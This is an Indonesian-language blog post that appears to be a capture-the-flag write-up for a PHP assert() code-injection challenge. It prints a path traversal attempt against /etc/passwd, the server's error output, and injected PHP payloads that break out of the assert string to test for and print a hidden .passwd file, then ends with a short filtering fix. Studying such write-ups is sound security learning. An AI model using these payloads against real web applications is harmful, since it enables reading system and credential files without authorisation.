pertama saya buka link yang sudah diberikan dan menemukan 3 menu, saya pilih salah satu, lalu saya coba inject dengan:
page=../../../../../etc/passwdternyata muncul pesan error:
Warning: assert(): Assertion "strpos('includes/../../../../../etc/passwd.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!dibagian itu bisa kita manfaatkan untuk melakukan exploit, jika ditulis kodenya kemungkinan seperti ini
assert("strpos('includes/$_GET['page'].php','..') === false")jadi saya akan membuat query untuk exploit:
assert("strpos('includes/','..') === false AND file_exists('.passwd') == false AND strpos('dekguh.php','..') === false")query diatas saya buat untuk mengecek apakah file passwd ada paa tidak dan hasilnya ternyata ada dengan muncul pesan yang artinya file_exists('.passwd') nilai adlaah true muncul pesan seperti dibawah ini:
Warning: assert(): Assertion "strpos('includes/','..') === false AND file_exists('.passwd') == false AND strpos('dekguh.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!selanjutnya membuka file passwd dengan query seperti dibawah:
assert("strpos('includes/','..') === false AND fopen('.passwd','r') AND print readfile('.passwd') AND strpos('dekguh.php','..') === false")setelah itu maka flag akan muncul :D
NB: hal seperti ini bisa terjadi karena kurangnya security dalam filter, bisa menggunakan preg_match untuk filter
referensi:
http://php.net/manual/en/function.fopen.php
http://php.net/manual/en/function.file-exists.php
https://www.linkedin.com/pulse/php-assert-vulnerable-local-file-inclusion-mohamed-fakroud/
No comments:
Post a Comment